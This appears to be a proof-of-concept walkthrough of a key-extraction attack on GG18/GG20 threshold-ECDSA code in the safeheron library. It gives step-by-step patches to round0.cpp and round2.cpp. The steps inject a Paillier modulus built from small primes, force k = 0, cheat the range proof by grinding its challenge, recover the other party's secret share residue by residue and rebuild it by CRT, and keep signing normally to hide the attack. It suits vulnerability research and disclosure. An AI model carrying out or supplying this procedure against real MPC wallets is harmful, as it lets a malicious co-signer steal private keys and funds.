STEP 1: *Inject Paillier modulus*

Choose 16 small primes $p_1, p_2, \cdots, p_{16}$ of size greater than 2^{16}

Set $n = p \cdot q$ where $p = p_1 \cdot p_2 \cdots p_{16}$ and q is a big prime to match the expected size of n

Set $\lambda = (p_1 - 1) \cdot (p_2 - 1) \cdots (p_{16} - 1) \cdot (q - 1)$ and $\mu = \lambda^{-1} \backslash mod\ n$

- Bypass the following in `round0.cpp` of the GG18 keygen

```
// Generate Paillier key pair
CreateKeyPair2048(sign_key.local_party_.pail_priv_, sign_key.local_party_.pail_pub_);
```

- Populate the values below as follows

```
// Set Private Key
priv.p_ = p;
priv.q_ = q;
priv.n_ = n;
priv.mu_ = mu;
priv.lambda_ = lambda;
priv.n_sqr_ = n_sqr;
```

Set to *p, q, n, \mu, \lambda, n^2*

```
// For fast decryption
priv.p_sqr_ = p_sqr;
priv.q_sqr_ = q_sqr;
priv.p_minus_1_ = p_minus_1;
priv.q_minus_1_ = q_minus_1;
priv.hp_ = hp;
priv.hq_ = hq;
priv.q_inv_p_ = q_inv_p;
priv.p_inv_q_ = p_inv_q;
```

Set all this to zero

```
// Set Public Key
pub.n_ = n;
pub.g_ = g;
pub.n_sqr_ = n_sqr;
```

Set to *n, n+1, and n^2*

STEP 2: Choose k and cheat in the range proof

For $i = 1 \ldots 16$ *do*

(the following is iterated 16 times for separate signing sessions)

- Bypass the following in `round0.cpp` of the GG20 sign (populate $k = 0$)

```
    // Sample gamma, k in Z_q
    ctx->local_party_.gamma_ = safeheron::rand::RandomBNLt(curv->n);
    ctx->local_party_.k_ = safeheron::rand::RandomBNLt(curv->n);
    ctx->local_party_.Gamma_ = curv->g * ctx->local_party_.gamma_;
```

- Bypass the following in round0.cpp of the GG20 sign

```
    zkp::pail::PailEncRangeWitness_V1 witness(ctx->local_party_.k_,
                                              ctx->local_party_.r_for_pail_for_mta_msg_a_);
    ctx->remote_parties_[i].alice_proof_.Prove(setup, statement, witness);
```

- When running the `Prove` above: while $e \backslash mod\ p_i \backslash neq\ 0$, do

    Update \gamma = \gamma + 1 and w := w*h2 % N_tilde

```
// w = h1^alpha * h2^gamma mod N_tilde
w_ = ( h1.PowM(alpha, N_tilde) * h2.PowM(gamma, N_tilde) ) % N_tilde;
```

…

```
sha256.Finalize(sha256_digest);
BN e = BN::FromBytesBE(sha256_digest, sizeof(sha256_digest));
e = e % q;
```

STEP 3: *Extract key material*

- When obtaining \alpha below (before taking mod the curve) in `round2.cpp`, do: $x_i = (\alpha - (\alpha \backslash mod\ N/p_i))/(N/p_i)$

```
    MtA_Step3(ctx->remote_parties_[i].alpha_for_k_w_,
              p2p_message_arr_[i].message_b_for_k_w_,
              sign_key.local_party_.pail_priv_,
              curv->n);
}
```

```
void MtA_Step3(BN &alpha, const safeheron::bignum::BN &message_b, const pail::PailPrivKey &pail_priv,
               const safeheron::bignum::BN &order) {
    alpha = pail_priv.Decrypt(message_b);
    alpha = alpha % order;
```

Once you have all the x_i's, reconstruct the key using CRT.

STEP 4 (Optional): *Make it sign*

- When obtaining \alpha below (for both alpha's) in `round2.cpp`, do: $\alpha := \alpha \backslash mod\ N/p_i$

```
for (size_t i = 0; i < ctx->remote_parties_.size(); ++i) {
    MtA_Step3(ctx->remote_parties_[i].alpha_for_k_gamma_,
            p2p_message_arr_[i].message_b_for_k_gamma_,
                sign_key.local_party_.pail_priv_,
                curv->n);

    MtA_Step3(ctx->remote_parties_[i].alpha_for_k_w_,
            p2p_message_arr_[i].message_b_for_k_w_,
            sign_key.local_party_.pail_priv_,
            curv->n);
}
```